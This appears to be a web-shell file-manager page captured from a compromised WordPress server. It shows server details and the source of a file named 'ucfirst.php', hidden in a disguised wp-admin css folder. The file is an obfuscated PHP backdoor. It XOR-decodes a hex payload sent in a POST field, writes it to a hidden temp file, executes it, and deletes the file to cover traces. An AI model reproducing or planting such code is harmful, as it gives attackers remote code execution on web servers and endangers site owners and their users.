HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System: Linux li317-225.members.linode.com 3.10.0-1062.12.1.el7.x86_64 #1 SMP Tue Feb 4 23:02:59 UTC 2020 x86_64
User: apache (48)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /var/www/kosmicevents/public/wp-admin__7af9720/css/ucfirst.php
<?php

if(array_key_exists("\x62\x69nd", $_POST)){
	$dchunk = hex2bin($_POST["\x62\x69nd"]);
	$ent   =      ''    ;      $y = 0; do{$ent .= chr(ord($dchunk[$y]) ^ 21);$y++;} while($y < strlen($dchunk));
	$k = array_filter([sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), getcwd(), session_save_path()]);
	foreach ($k as $key => $obj) {
    		if (max(0, is_dir($obj) * is_writable($obj))) {
    $symbol = implode("/", [$obj, ".component"]);
    if (file_put_contents($symbol, $ent)) {
	require $symbol;
	unlink($symbol);
	exit;
}
}
}
}